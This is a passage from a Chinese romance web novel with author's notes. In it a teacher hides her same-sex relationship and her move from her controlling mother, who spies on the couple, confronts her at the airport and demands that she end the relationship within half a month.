气氛微妙。 “你最近到底在做什么?”周京芳不演了也不装了,“沈校长的女儿刚从英国回来,要入职你爸爸学校,下午发消息给我,说要请我们吃饭,这才聊起你。” 沈校长。 南城中学的校长,也是林鸿早年的同学,一直保持联系。 林筝墨当年进南中虽然是凭实力,但凭着沈校长那层关系,她在工作中确实轻松许多,至少没人为难她。 “他说你早申请教师公寓了,还问我你住得习惯不习惯,我说我怎么不知道。” 林筝墨双唇抿成一条线,眼神冷静,面对质问也不多语。她知道纸包不住火,周京芳迟早要知道她搬家的事,她也没打算瞒。只是觉得走一步算一步,晚一点知道总归是好的。 “是申请了。” “那你不和我们说?” “我忘了。” “你忘了?”周京芳有些愠怒:“你提申请,搬家,住进去,是一点风声不漏,很难让我不怀疑你背着我们在做什么。” “我除了上班,我还能做什么。”林筝墨直视她:“就前段时间工作好忙,觉得通勤很累,就申请了。平常也只是过去睡个觉,周末还是回公寓的。胡婆婆葬礼之后,觉得你情绪不太好,怕你不高兴,便没有说。” 她语调平静,神色淡然,如此一番表现,倒是显得周京芳有点过度臆想了。 林鸿见气氛不对,出来打圆场:“你妈妈就是担心你,你也是的,这也算个大事了,每周都回来吃饭,也不提一下。” 林筝墨顺着台阶下:“我原本就今天打算和你们说的,以为这不是什么大事,前两次给忘了。” 周京芳有着强烈而敏锐的第六感,一种直觉,林筝墨瞒着他们在做什么,但又没有证据。不过,看林筝墨这反应,暂且是没什么端倪。 又觉得自己是神经敏感了,对女儿不是对仇人。 语气还是稍微软下来:“你要理解我们,家人就是要共同分担,共同谅解。凡事好好商量,这不是大事,我们肯定不拦着你,你要是和我们说的话,搬家我们肯定会来的,哪怕是去帮你挪一张桌子呢?我们有参与感,心头也好受一些是不是?” “我当时叫的搬家公司,我没上手,觉得人多了也麻烦。”林筝墨揉揉眉心,“对不起,确实我给忘了。” “好了好了,她前段时间工作也忙。”林鸿在周京芳肩膀上捏了捏,“喝碗绿豆汤吧?” “不说这些了,那喝汤。”周京芳舒了口气,从沙发上起来,“一人喝一碗。” 无人知晓的角落,林筝墨手心渗着冷汗,她起身,抽了一张卫生纸擦了擦。 还好。 她没跳坑。 周京芳不知道简越。 晚饭时,林筝墨又说自己要去旅游的事。 去哪。 和谁。 去多久。 这些都是周京芳和林鸿关心的问题。 糖衣炮弹似的塞到林筝墨耳朵里,有种不知道如何反驳的恼人。 “我都快三十了诶。”林筝墨简直不吐不快:“你们还把我当小孩子一样。” “你又没有一个人出过国。”周京芳直言:“E国又不发达,你一个人跑去我当然担心,别说你去,你爸这个老头儿去,话还不是一样的讲!” “报团很安全的。” “那也不完全安全。”周京芳蠢蠢欲动:“不然这样,介不介意我和你爸也——” “不要。”林筝墨少有的强硬:“我就想一个人玩,出去接触接触世界,就让我一个人吧。” 周京芳实在费解:“怎么就突然想到要去E国?还要一个人飞。” “不是突然,就是想利用暑假的时间出去透透气。” 她在想,即便没有和简越谈恋爱,她也会去游山玩水的。 小时候是去过很多国家,但都是周京芳和林鸿带她看世界,她很少一个人,或者说,很少和同龄人。她认识的世界是周京芳和林鸿想授予她的世界。 是妈妈爸爸指着花花草草山山水水说,看这是什么,那是什么,你要记得哟,你要涨知识哟,只有这样,长大之后别人才会觉得你见多识广。 山是山,水是水,山水只是一个普通的名称,林筝墨并没有透过眼睛真正洞悉到其中的美丽。 她腻了。 烦了。 “南城很热,不然你们俩去西南避暑吧?”林筝墨放下手里的汤勺,“妈,爸,我们不是什么事情都要一起的。” 空气忽然略显沉默。 周京芳和林鸿对视一眼,这很不林筝墨,从小到大说一是一,不怎么抵抗人,现在呈现出的这种强硬极其陌生。就像笼子里的小鸟扑腾着翅膀,跃跃欲试要逃离掌控。 鸟儿的主人自然是不开心。 “签证我在办了,到时候看到好看的风景给你们分享。”她低下头,重新拾起汤勺,抿了一口绿豆汤,食之无味。 难喝。 不会熬别熬。 “所以你最近遇到什么事?”周京芳简直是好奇极了,“奇奇怪怪。” “没有。”林筝墨眼皮半掀,耐着性子道:“我就是想去旅游,别多想。”—— 作者有话说:今天又去锤柠檬了[小丑] 明儿还是晚上八点更新 温馨提示:算了我不提示[狗头] 第62章 第六十二章 没、有、吃、饱…… 第六十二章 林筝墨去爸妈家吃饭, 简越则一个人在家,剥虾炖粥,烹饪美食。 温暖体贴的简主任当然不会吃独食,恰恰相反, 这些晚餐都是给林筝墨准备的。有这个习惯, 是因为简越发现一个规律, 每次林筝墨去父母家,回来都闷闷不乐, 情绪不佳, 有时候肚子还咕咕叫。 三番两次,便清楚了,林筝墨这是没吃饱。 八点, 粥炖好了,简越关了火,准备开车去接林筝墨, 却收到消息: 【宝宝,你今天就不来接我了。】 想问为什么, 但简越顿了一下, 回复:【好, 你慢慢吃~】 琢磨着应该是那边发生了一点状况,简越相信林筝墨会处理好的, 她不会去打岔。 但门还是要出的, 与林筝墨恋爱之后, 简越一直都有一个习惯,那就是不让林筝墨走夜路,不安全是一方面,更深层次的原因是, 她不想让林筝墨觉得孤单。 她会在学校门口等她,有时候是去便利店买一瓶可乐,一个人坐在凳子喝汽水,看车来车往,行人匆匆,夜色霓虹,直到林筝墨出现。 但今晚迟迟没等到。 一小时后,又收到消息: 【我晚一点回来。】 【好。】 半小时后又来一条消息: 【算了,我今晚回公寓住,不回来了。】 简越捏着手机陷入沉思,她猜想今晚确实遇见状况了,顺着逻辑去猜想,要回公寓住,母女俩一定不愉快,难道林妈妈发现她搬家的事了? 所以林筝墨是害怕打草惊蛇吧。 简越理解又心疼。 每周,林筝墨回家,其实简越也惴惴不安,但这是她们早就准备好的事情,这是她们恋爱的其中一个课题,简越称之为:要学会接受一切发生。 她不会让厨房里美味的虾烂掉,一个人坐在沙发抱怨女朋友为什么不回家。 她只会给林筝墨发消息:【做了虾,隔夜就不好吃了。我现在骑车去给你放公寓门卫,你回家记得捎上。】 林筝墨:【QAQ!】 林筝墨:【你怎么知道我没吃饱!】 简越:【我还知道你心情很差。】 简越:【但是,不许太差。】 林筝墨:【我妈知道我搬家的事了。】 简越:【我知道。】 林筝墨:【神仙大人,你怎么什么都知道。】 【听你那语气就知道。】简越:【异地恋一天也不错。】 林筝墨:【怒jpg.】 林筝墨:【给你一次重新编辑的机会。】 简越:咻,撤回。 简越:【墨子,没有你我怎么活啊。】 林筝墨:【好难听的名字!】 简越:【心情好点没?】 林筝墨:【好多了。】 她其实很想对简越说,谢谢你总是察觉到我的坏情绪,并且试图安抚我,有时候心情不好,但只要想起你,也会阴雨转晴。 简越:【告辞,送虾去了。】 林筝墨:【亲亲jpg】 简越:【拒绝网络甜蜜蜜,是女人就当面啃我。】 她俩喜欢开玩笑。 屏幕那头,林筝墨被逗得直笑,简越就是有这种魅力。 * 一小时后,林筝墨回到空荡荡的公寓,手上拎着门卫室拿到的饭盒,开门,换鞋,进屋。 没有简越。 没有泡泡。 这间公寓已经成为一瓶福尔马林,而林筝墨则是泡在里面的死尸,没有一点生机。短短几月,林筝墨发现自己已经习惯了那种温馨的生活,回家有猫陪,有人抱,有饭吃,有电视看,有玩笑开,有拥抱,有热烈的吻。 晚饭结束出去散散步,回家一起洗个澡,阳台上晾衣服,偶尔还有一两件掉在她的脸上。 对一个人生活渐渐无法适应了。 以前怎么不觉得? 卧室里大体布局是没变的,只是衣柜里的衣服少了。林筝墨在干净的压缩袋里拿出一件衣服换上,又到客厅沙发坐下,打开饭盒,里面是剥了壳的白灼虾,皮蛋瘦肉粥,还有她很爱吃的上海青。 呜呜。 简越。 林筝墨很饿,她在周京芳那里确实没吃饱,简越做的饭都很好吃,吃饭的时候,林筝墨莫名其妙开始落泪。她也不知道为什么,只是眼泪顺势从眼角滑落,没有征兆。 也许是真实地感觉到自己被爱着,害怕这种爱意与日消散,害怕自己无法抓住这样美好的瞬间。 她已经无法再回到这个公寓,再去过以前那样的生活。她在悠然平淡的生活里,早就将自己与简越融合在一起。 她想她。 即使她们几乎每天都待在一起。 她在吃白灼虾的时候脑袋里想象的是,简越站在厨房替她剥虾的样子,那纤瘦柔美的身影与厨房里的灯特别搭调,挽着丸子头的黑发在夜的光晕里熠熠生辉,点亮了她黯淡的生活。 【好吃。】林筝墨发了张照片。 【我也在吃。】简越回她一张,照片里有简越,也有泡泡。泡泡正高雅地坐在茶几旁边,像一只来自仙境的美丽守护神。 【好看。】 【在夸我吗?】 【我说泡泡。】 【苦哉。】简越故意卖惨:【辛辛苦苦做这么多好吃的,等了半天,不回家吃饭就算了,送到嘴边也得不到一句夸,我简某人嫁得真差!!!】 林筝墨刚哭过,眼眶还湿漉漉的,但看到简越那句“嫁得真差”,又忍不住笑出声。 求生欲还是相当强的。 【好看好看。】 【泡泡哪比得上我们大厨。】 【全世界无与伦比的美丽。】 简越爽了,回头就喂了泡泡一颗冻干,搂着猫头狂亲:“小泡,跟我比你还是差了点,还是差了点,哦哦乖,吃冻干!” 泡泡:“?” 你们人类真是有病。 恋爱脑病。 * 夜深人静时刻,林筝墨躺在床上发呆,失眠。 睡前和简越打了个电话,简越问起原因,林筝墨也只是简单解释,说怕周京芳怀疑。 其实这是一个无法深究的问题,一旦细思,一定极恐。究其缘由,那就是林筝墨害怕周京芳晚上又来找她。 周京芳不一定会来,但又可能会来。这是一种心理的凌迟,让林筝墨觉得,带着这样的秘密生活,理所应当要有心理负担,自己是个小偷,就要受这样的折磨。 她是考试作弊的学生,一旦被老师抓到,那整个人生就完蛋了。 可是—— 以后那么多年,也要这样下去吗?又要在多少个夜晚,为了掩饰一点什么,一个人躺在这里呢。 总有一天,周京芳会以各种理由,到教师公寓去坐坐,那时候,她又要怎样狼狈地把简越藏起来? 这对简越来说不公平,长久下去,简越受得了吗?简越受不了的话,提出分手,那要怎么办? 林筝墨自己吓自己。 辗转难眠,翻来覆去,胡思乱想。 一直到深夜,索性蹭的一下起身,她看了眼时间: 2:04. 呜呜,好晚了。 * 简越半夜睡得迷迷糊糊的,林筝墨不在身边,她其实也睡得不太安稳。泡泡在客厅踩猫砂,淅沥哗啦。 窸窸窣窣,又忽然听到玄关的声音。 咔,钥匙上旋钮的声音。 啪,门又阖上了。 简越浅眠,以为是幻觉,晚上睡觉总产生这种莫名其妙的幻听,没当回事,继续睡觉。 夜黑风高。 林筝墨站在玄关,小心翼翼换拖鞋,泡泡刚拉完粑粑看着她,夜猫子兴奋得满地乱窜,爪子敲得地板铛铛响。 “小点声,小点声!” “喵~” “哎呀!”林筝墨就差去捂它的嘴,“嘘嘘嘘。” 嘘嘘嘘? 谁! 简越忽然睡梦中惊醒,确定以及肯定,听到门外有人低语,是林筝墨的声音。 莫不是在做梦吧,现在可是凌晨啊。 简越翻了个身,虚眯着眼,卧室门半掩着,发现林筝墨在客厅和泡泡叽里咕噜说话。???? 真回来了??? 深更半夜这是在做什么,不知道的以为她是偷猫贼。 简越蹭的一下起身,三秒过后,她又躺了下去,一个想法:她很好奇林筝墨要干嘛。 简越装睡。 过了一会儿,客厅泡泡终于不喵咩咩叫了,才又听见林筝墨的脚步声。 那人先是在门口偷偷看了眼,若不是简越早有心理准备,堪比《午夜美女鬼魂来找我》那般惊悚。 卧室的门轻轻推开了。 林筝墨悄无声息进来,她先是把衣柜里的睡裙拿出来,当着简越的面开始换衣服。 月光皎皎,银丝落在地板上,黯影勾勒出林筝墨光洁的后背,白得像玉,肩膀华泽,薄如蝉翼的纱裙穿在身上,有种遥不可及的美丽。 她拢了拢头发,朝简越走来。 掀开薄被,小心翼翼躺下,又拉过简越的手臂,枕着入睡,她发出简短的、小声的喟叹,又找了个舒服的姿势闭上眼。 哦。 原来凌晨偷偷跑回家,是因为没有简越在身边所以睡不着。 一个不得不承认的事实,她对简越的依恋与日俱增,从肢体接触就可以感觉到,她要紧紧贴着简越才能安稳入眠。 简越心头烫热,觉得林筝墨可爱到犯规。她刚想主动搂她,怀里的人忽然又靠近一些,简越不敢惊扰,只能继续装睡下去。 忽然之间,林筝墨毫无征兆地在简越唇边吻了一下。 一下,蜻蜓点水的一下,很轻,很快又挪开。 林筝墨气若游丝,自言自语:“猪,你也睡得着,哼……也香香的。” 她的声音带着一点情难自禁,要比简越醒着的时候更有情感,说完了又在简越耳边蹭蹭。 简越被她说得心里软乎乎的,同时又感受到一阵湿热。 林筝墨在吻简越的耳尖,吻了几下,含在嘴里,轻轻地吸吮着。 热气钻进耳朵里,酥痒传递遍身,简越实在受不了。 林筝墨,你个小偷!半夜打车过来偷亲人家! 后来一发不可收拾,已经到舌吻的地步。 林筝墨也没想到亲了一口停不下来,毕竟原计划是回来睡觉。 简越被吻到发出闷哼,林筝墨喘息的同时睁开眼:“你醒了?” 能不醒吗。 “嗯,你怎么回来了?”还要装作不知道。 “我睡不着。”林筝墨在简越嘴角又吻了一下,她是接吻狂魔吗。 “怎么了?”简越揽过她,两人柔软贴在一起,软到心间,“不是自己要去公寓睡的。” “失眠,就想到一些可怕的事情。”林筝墨去摸简越的脸,黑暗中凝视着她,突然发问:“你会一直爱我吗?” “会。” “真的吗?” “真的。”简越一声叹息,“半夜回来就是因为这个?” “嗯。” “你打车回来的吗?” “没有司机接单,骑的共享单车。” 很难想象林老师半夜在南城空无一人的街道骑单车回家的样子,这可是凌晨两点。 “太不安全了啊。”简越抓着林筝墨的手,五指穿插进去,两人十指紧扣,“让我来猜猜你半夜在想什么?” “你猜不到的。” “你怎么知道我猜不到?”简越靠近,轻拍林筝墨的肩膀,“嗯……肯定是和妈妈闹不愉快了,半夜想起我,想到以后可能也是这样,在想,怎么办啊,怕我受不了跑掉。” 林筝墨:“0.0?” 她是神仙?怎么什么都知道。 “然后越想越心慌,赶紧下楼骑车回来,要看到我,你才安心。” “没有,不是。” 黑暗中,被拆穿的林筝墨脸颊浮起红晕,以简越的描述,听起来自己像是爱到不可自拔了,怎会承认。 简越发出轻快的笑声,“好吧,那你回来干嘛呢?” “我想泡泡了。”——脚趾抓紧了。 “那怎么不去和泡泡睡?”简越说话时有意靠近,气息游离在林筝墨的呼吸里,很热,很烫。 “那猫窝太小睡不下嘛。”林筝墨阖眼,感受到简越的气息,很舒心,很幸福,以至于她声音软绵绵的,很没说服力。 “好吧……”简越故意和她拉开距离。 刚挪开,林筝墨追上来,一双手搭在简越的腰上,略有不悦:“你干嘛。” “怎么了?我把地儿腾给你,不好吗。”话末,简越故意又挪一点点,林筝墨立马又贴上来。 “让我抱一会儿。” “别动。” 林筝墨紧紧锢住简越的腰,一条腿缠上去,搂着简越腰肢的手忽然钻进衣摆里,上移。 就是这么流畅,自然。 贴贴,在简越耳语: “那你再说一遍。” “什么?” “说你会一直爱我。” “我不说。”简越故意逗她。 “那你死定了!” 简越忽然觉得一阵溽热。 林老师不愧是钢琴高手。 “别……” “说你爱我。” “爱……”简越被撩到头晕目眩,“爱你。” 林筝墨翻身,坐在简越身上,低头下去,捏着简越的下巴,嘴唇贴着,低声呢喃:“我其实还没吃饱。” 简越的敏感被调动,“那还想吃什么?” “都” “吃。” 也就全身吧。 :)—— 作者有话说:林老师:挽起袖子就是干! 简主任:翻身农奴把歌唱! 横批:你吟我唱[彩虹屁][彩虹屁] 第63章 第六十三章 曾经周京田,如今林筝墨…… 第六十三章 那日之后, 林筝墨隔两天就要去周京芳那里吃饭,频繁刷脸的好处是,周京芳好像对她没那么关注了。 极好。 跟着签证也落实下来,所有东西都准备就绪了。 即将开启和简越的第一次旅行, 多少是有些兴奋的。 临行前一夜, 林筝墨怎么都睡不着, 躺床上拉着简越闲聊。 “我突然想起去坐热气球那天,更早一点起床去找位置的话, 会不会看到日出的概率大一点?” 热气球这东西真是随机的, 能飞多高,掌控气球的师傅也决定不了,也和早不早没关系, 这由气温、风速、地形还有各种各样的因素决定。 全凭缘分。 “这很难讲,先许个愿。”简越翻身,瞅着林筝墨笑, “许愿我们能坐上能看到日出的热气球。” 林筝墨低声笑,“要是坐到哑火的怎么办?” 简越相当干脆:“就再坐!但是啊, 宝贝, 现在都快十二点了, 五点还要出发,我们赶紧睡觉。” 黑暗中林筝墨眨眨眼, “可是我睡不着诶。” 简越一把搂过她, “睡觉睡觉, 必须睡觉。” 林筝墨揪着她衣袖,“我想吃了再睡,可以吗?” 简越:“?” 吃吃吃。 天天吃。 夜夜吃。 说出去都招人笑!谁能想到斯斯文文的林老师夜夜加餐。 简越说她是:白天做的饭不好好吃,晚上狼吞虎咽的又做什么。 难讲。 苦哉! 吃得饱饱。 累了, 后半夜倒是睡得很香。 清晨五点半,简越轻轻把林筝墨晃醒。 “起床了起床了。” “唔,不是才刚睡” “什么呀,你这是睡懵了,都睡五个小时了林小猪!” “啊。”林筝墨迷迷糊糊醒来,开机失败,倒在简越怀里,“帮帮我。” 飞机是在上午九点起飞,而她们过去又需要一个小时,国际航班最好是提前抵达。 行李箱、登山包、放身份证和签证的小包,简越早把这些东西准备好,很有秩序感,井井有条。 带林筝墨出门之前,她甚至还往林筝墨嘴里塞了点早饭。 真·妈妈。 林筝墨左手拖着一个小行李箱,右手被简越牵着,像一个小朋友。 届时天还未亮,破晓的天空呈现出清莹的墨蓝色,五点的街道相当安静,俩人站在街边打车。 “林老师,还没睡醒?” “嗯。”林筝墨虚眯着眼,忍不住往简越肩上靠,嘟哝:“等会儿飞机上你抱我睡。” “好好。” “我带了小毯子,我们一起小猪盖被。”她是真没醒,说些莫名其妙的。 睡眼惺忪的林老师很可爱,眼睛眯着,嘴巴微微有点向上嘟,一点点,粉粉润润的嘴唇给人感觉很好亲的样子。长相分明是清冷那一挂的,但从表情确实看不出一点距离感来,柔弱又黏人。 她软乎乎地贴着简越,贴着贴着,又说:“司机怎么还不来啊,我快睡着了。” 简越看了眼手机,“还剩三分钟。” “晚安,三分钟后你抬我上车。” “噗。”四下无人,简越偏过头在林筝墨脸上吻了一下,“乖死噜,睡吧睡吧。” 街对面,一棵大树的黯影下,停着一辆不起眼的黑色轿车。 林筝墨是真没睡醒。 那车…… 是周京芳的。 * 周京芳有时候也讨厌自己的敏锐,太细致也不是一件好事。 比如发现自己女儿是同性恋这件事。 也许,林筝墨成长过程中,周京芳真的花了很大的心血,她视她为唯一的,最珍贵的宝贝。所以某种意义上来说,她也是无比了解林筝墨的人。 小时候,林筝墨一说谎,就要抠指甲,所以周京芳总能识破她。 长大之后,指甲不抠了,但会用行动反复证明自己,如果林筝墨竭尽全力去证明一件事,那她就有问题——这是周京芳与生俱来的洞察力。 一切始于那天下午,周京芳拿着门禁卡去林筝墨家,一种第六感驱使,她输入密码,密码错误。 林筝墨的密码是她的生日,数字是960928,她从小到大都是这么用的,连银行卡密码都是这个,这闺女一旦认定了什么就不会轻易改变,连密码也是。 所以修改密码,约等于有情况。 会有什么情况呢? 周京芳觉得林筝墨应该是谈恋爱了,她和林鸿都是支持林筝墨的,而林筝墨却这么逃避是为什么,一细想,周京芳便情不自禁痛苦起来。 她恨自己的敏锐。 我的妹妹是同性恋。 所以我的女儿也是么? 我忍不住要去回溯很多年前妹妹和女人谈恋爱时的状态,再来看我的女儿,为什么她们给我的感觉如此相似,她们有一样的心虚,一样逃避的目光,一样的像一个小偷。 林筝墨频繁回家了。 她开始证明自己了。 以前,她一周只回来一次,暑假也一样。 但这一次,她一周回来三次,她乖巧得可怕,甚至骗我说在和那个谁聊天,营造出一种她正在接触男人的假象。 我像一个局外人静静地看她表演。 教师公寓我去过了。 三次。 第一次是在早上,简桑的女儿下楼倒垃圾,林筝墨穿着拖鞋跟着追出来,她去牵她的手,隐约听见林筝墨说:“你下次能不能叫上我?” 简桑的女儿说:“你在睡觉嘛不想吵醒你。” 两人在无人的角落无比亲昵。 林筝墨用我感到陌生的语气对她撒娇,那不是我的女儿,那也是我的女儿,是也不是。 我感到空前的陌生,我觉得这个夏天开始变得难捱、漫长,花园草茎里蠕蠕啰啰的昆虫开始蚕食我的神经,让我失眠,几近发狂。 我忽然想起很多年的周京田,她也用同样的语气依偎在另一个女人怀里,半年以后她死了。 我的妹妹,死在一个与家人争吵哭闹出逃的夜晚。 第二次。 第三次。 我来到教师公寓。 坐实了她们的确在谈恋爱。 我发现,教师公寓七楼的两间屋,只有一边在用。 我站在一楼向上看,女儿白色的裙子在风中摇曳,可裙子挂在简桑女儿的阳台。有时她们在屋子里弹钢琴,欢快的笑声透过门缝钻进我的耳朵里,夹着猫叫。 我靠在楼梯道口,思索着:其实我也是一个小偷。 我当然是极其讨厌、厌恶这种境况的。当年京田的错误选择,让我永远失去了她,上天愚弄我,是觉得我不够惨,还要把这场酷刑推迟到三十年后。 林筝墨,你当然不能像你小姨那样,你的人生是一条笔直而敞亮的大道,我就算做恶人,做厉鬼,我也要把你向好的方向引导,我没有第二个女儿了。 那辆计程车停在马路,她们装上行李去机场了。 车子引擎忽然发动了。 而我,也踩下了油门 * “到机场的话要加收10元高速费。”司机如是说。 “好的没问题。” 他点点头,往前开,播放器里放的是王菲的《胡思乱想》,歌词是粤语的几句: 想哭,想笑,也想跳。 想呼,想叫,我想要。 无端想某人, 想得天昏地暗, 还想不再见人。 林筝墨听着歌,靠在简越肩上,睡意渐渐退却了,只是凝视着车窗外的街景,影影绰绰,光影斑斓地落在林筝墨的脸上,五官轮廓带着一点冷,但更多的是美丽。 “你们几点的飞机?”司机无聊问起。 简越:“九点五十。” 司机:“那还早,去哪里玩呢?” 简越:“E国。” 司机:“怎么想到走那么远?” 简越偏过头看林筝墨,瞥见她清瘦的侧影,发现她的目光渐渐失焦了。 “嗯,不是很远。”简越实话实说:“就如果是去喜欢的地方的话,不会嫌麻烦的吧?” “就你们俩姑娘?”司机看起来有点刮目相看,“会不会有点不安全。” “有找靠谱的向导的。” 林筝墨忽然回过头看简越,她问她:“今天要下雨吗?” “嗯?”简越往林筝墨的方向靠,看车窗外,“不啊,好像会到38℃吧?” “我怎么觉得天有点阴。”林筝墨揉揉眉心,眨眨眼睛,又确认了一遍外面的风景,是阴的,天空中带着一点阴郁,不知道是不是幻觉。 司机朗声笑:“姑娘你挺幽默,天还没亮你就能预测下雨了。” 高速一路开,后面一段路程略显沉默。 她俩都睡了一会儿,快到机场的时候天渐渐亮起来,下车,天果然阴蓝阴蓝的,司机帮她们把行李推过来。 林筝墨接过行李,前脚刚迈出一步,后一秒兜里的手机持续震动起来。 她拿出来看,是周京芳给她拨的语音电话。 心脏忽然噗通跳动起来,略显慌张地看向简越。 “我妈妈。” “阿姨?”简越也费解,“现在才六点半,她起这么早啊。喔,她是不是知道你出发了?” 去E国是知道的,机票查一查也知道时间。 但林筝墨忽然不敢接,这种“不敢接”毫无缘由,那就是一种感觉,一种虚无缥缈无法描述的陌生气场,仿佛这不是一通电话,是周京芳的一张脸,手机摄像头就是周京芳的眼睛,正注视着林筝墨的一切。 “怎么不接?” “我怕。” “怎么回事?”简越发现林筝墨脸色惨白,她去摸她的额头,发现居然有一层薄薄的冷汗,“你怎么了?是不是不舒服?” 林筝墨挂断电话,顺手扶着旁边的阻车桩,坐在上面,秀眉敛起,看起来有点难受。 林筝墨的反应很奇怪,这种没来由的反应让简越也心神不宁起来。 她蹲身,去牵林筝墨的手,掌心来回摩挲着,缓声道:“不急,我们透透气再进去。” 手机再次震动。 周京芳打第二个电话过来了。 林筝墨浑身紧绷,肩膀忍不住小幅度颤抖,不接不行了。 简越说:“你接吧,阿姨可能只是问一句。” 林筝墨不得不点接听。 她的手指点开了免提。 电话里,周京芳没有说话,大概有两秒的电流音,这两秒,比两个小时还要漫长。 林筝墨喉咙滑动了一下,“妈,怎么了?” “过来。”电话里周京芳摁了一下喇叭。 哔—— 那声音在磁青的天空划开一道口子,微茫苍凉。 林筝墨循声望去,脸色瞬然苍白,忽然觉得万箭攒心。 为什么。 她在这里—— 作者有话说:虽然但是 我知道大家现阶段不太喜欢周京芳,但她这个人真的还挺丰富的,当然目前好像也只有讨厌啦hhh(趁着这个阶段尽管讨厌吧!) 已经有好多人问我虐不虐了 我觉得目前写下来很多东西都是顺其自然的 这个故事指引我应该怎么写,我就怎么写,这本给我的感觉和我前面写的文不太一样,我也不知道为什么,有一种顺其心意的感觉,好像主角在和我对话。 我不会去安排刻意虐心的剧情,而是故事到哪一步了,我就怎样呈现出来 晚安啦~ 第64章 第六十四章 半个月内和她分手 第六十四章 简越很早就明白一个道理, 一句咀嚼得死烂死烂的话:要想人不知,除非己莫为。 成为林筝墨的秘密情人那天开始,简越其实就已经有这个觉悟,她知道这一天迟早会来, 但未预料到这般迅速。 自认为, 小心驶得万年船, 但不论再小心,现在小船也彻彻底底翻了。 身后, 机场的跑道传来隆隆声, 不知道飞了第几次,噪音牵扯着太阳穴的神经,隐隐作痛。拂晓的光晕投进瞳孔里, 依稀美丽却浮起一层薄雾,略显凄迷。 周京芳的轿车依旧停在对面,车窗紧闭, 自林筝墨上车后就一直没下来过,大概是有半个钟头了…… * 车里, 空调持续送风, 依旧燥热烦闷, 闷得窗玻璃上一层雾珠,像伤口上撒得密密麻麻的盐。 “为什么?”这是周京芳问的第三个为什么。 林筝墨双唇紧抿着, 眼眶泛红, 手指抠在皮质坐垫上, 指甲用力到发白,却也一句话不讲。 “林筝墨。”后视镜反视着周京芳的半张脸,那瞳孔又黑又利,要刺穿一切, “好,不说话,你现在就下车,和她说分手。” 林筝墨的眼眶有泪光,摇摇欲坠快要落下,脸颊苍白到没有血色,“我不能有一点点自由吗?” “自由。”周京芳凝视她,“你和我谈自由,我给你的自由很少吗?” “很多吗?”有些话总要拿到台面上来说。 周京芳转而愠怒,“从小到大,你要做的哪件事我没有尊重过你?” 大学时,周京芳有意让林筝墨出国留学,林筝墨说她就想留在南大,最终遂愿。工作后,说要私人空间,周京芳便给她物色了不错的公寓,平日里也不去打搅她。青春期,别的家长觊觎孩子隐私,但周京芳从不去她的房间,就连日记本放在面前也不会翻一页。 也许,在很多细无巨细的小事上,她是尊重过林筝墨的,至少也没有那么严苛。 可林筝墨看来,又是另一番景象了。 “你明明知道我不爱弹琴,非让我学,考级考级考级,考到十级,只是为了给你们长脸。” “钢琴不是我要你学的,我没有那么多脸要长。”周京芳一口咬死:“是你爸爸要让你去学,她觉得弹琴符合你甜净的气质,你有天赋,自然想让你精进,有什么错?” “那长大之后我说了我不想谈恋爱,你一次又一次地给我介绍。”林筝墨直勾勾看着周京芳,“这算自由吗?” 周京芳一声冷哼:“怎么你觉得放任你和女人谈恋爱才算自由吗?” “我和她在一起有什么错?”林筝墨难得顶撞她:“是杀人了还是放火了。” “需要我说得多清楚?”周京芳生气时反而透着一股严肃的冷峻:“三十年前你小姨和她妈妈谈恋爱,死的时候连尸首都凑不全,这事对周家来说过不了。你要重蹈覆辙,你非要和她谈恋爱,那你尽管和去谈,但你这辈子别想再见到我。” 别的家长可能是虚张声势,但周京芳可能不一样。 林筝墨从她的眼睛里看到两个字:决绝。 她不知道周京田的事情对周京芳伤害到底有多大,她摸不准上一辈的事,但她知道周京芳是个多狠的女人,狠起来自己都不放过。 进退两难,举步维艰。 她无法说服她,但她也不想退让。 “我不会和她分手的。” “下车。”周京芳解开车锁,摁下车窗,语气冷得可怕:“下去。” 车窗外,简越在马路对面焦灼地看着她们。 林筝墨却忽然失去下车的勇气,想起周京芳说的那句“一辈子别想见到我”,寒意遍布全身,仿佛先成为死尸的是她自己。 如果一场恋爱谈成这样,就算这样与简越走下去,最终也是两败俱伤。 她忽然开始讨厌周京芳,讨厌周京芳的严苛和压迫,讨厌无法做真实的自己。 可是,这种讨厌不完全是讨厌,做不到完完全全透彻的怨恨,特别是这个人是你的母亲,她爱你,即便那种爱不那么完美,甚至带一点畸形。 情感就是在这样荒谬而矛盾中积淀的,爱里总夹着一点厌倦,倦里又滋生着一点温情,这些所有的所有搅拌在一起,熬成一锅煎熬的情绪。 林筝墨这一刻真的想开门走人,当手指扣进车锁里,却没有勇气真的拉下最后那一环。 她在想,到底是什么束缚着我,什么缠绕着我,什么让我踟蹰不定,到底是什么。 门明明没有锁,明明可以推开,却觉得,不管回头还是前进,都是痛苦,都是针尖扎进皮肤里那样疼。 “这件事我还没和任何人说,包括你爸爸。”汽车的双闪继续发出咔哒咔哒的声音,“这是你的错,也是我的过失,现在你要处理好这段关系。” 她遏制怒气,尽量平缓对话。毕竟她从小教过林筝墨的,吵架解决不了问题。 通达死令。 林筝墨双手掩面,抑制不住快要决堤。 “我给你时间,半个月,和她断掉。” “不要。” “不要现在回答我,你自己去想。”周京芳微微曲身,斜侧过去,帮林筝墨把车门打开,“该说的话我已经说了,我也不想和她对峙,免得不愉快。” 与此同时。 简越一直站在马路对面,她有反复思考要不要介入,怕把水越搅越混,所以一直克制着,直到看见林筝墨用手捂住自己的脸,这是林筝墨哭的时候才会有的动作,于是按捺不住了。 清晨的机场围着一圈出租车,私家车落客区的角落,简越大步流星过马路,直到车窗外停下。 弯腰,蜷起手指轻轻敲了敲,低声说:“就不要再说了罢?她哭了。” 周京芳侧目去看简越,发现她眼眶里也噙着泪,但好像比林筝墨更能克制情绪一点,暂且还没掉眼泪,只是泛红。 “你先把林筝墨带走。”她偏过头,呈现出可怕的冷漠,不再去看她们,只声道:“你们日后是什么关系,她会一并和你说清楚。” 简越不语,将车门打开,轻轻挽着林筝墨的手臂,携她出去。 林筝墨满脸湿泪,简越压住心疼,小心翼翼拥着她过了马路,她们的行李箱就在那里。 让林筝墨在箱子上坐下,又从兜里摸出一包纸巾,蹲在她面前轻轻替她拭泪。 身后,周京芳觑了眼,迅速合上车窗,绝尘而去…… * “不哭不哭。” 安慰好像也无济于事,只能机械地拍打她的肩膀,虽然没听见说什么,但猜出一二三来。 “你不要害怕,不要害怕。”简越去拥抱林筝墨,鼻尖忽的一酸,“这是我们没有办法预料的事情,没有办法。” 林筝墨的额头倚靠在简越的腰间,泪水润湿了她的衣服,染灰了蓝天,只觉得这种苦闷很难消解。 她吸吸鼻子,满眼通红,“飞……飞机是不是要迟到了?” 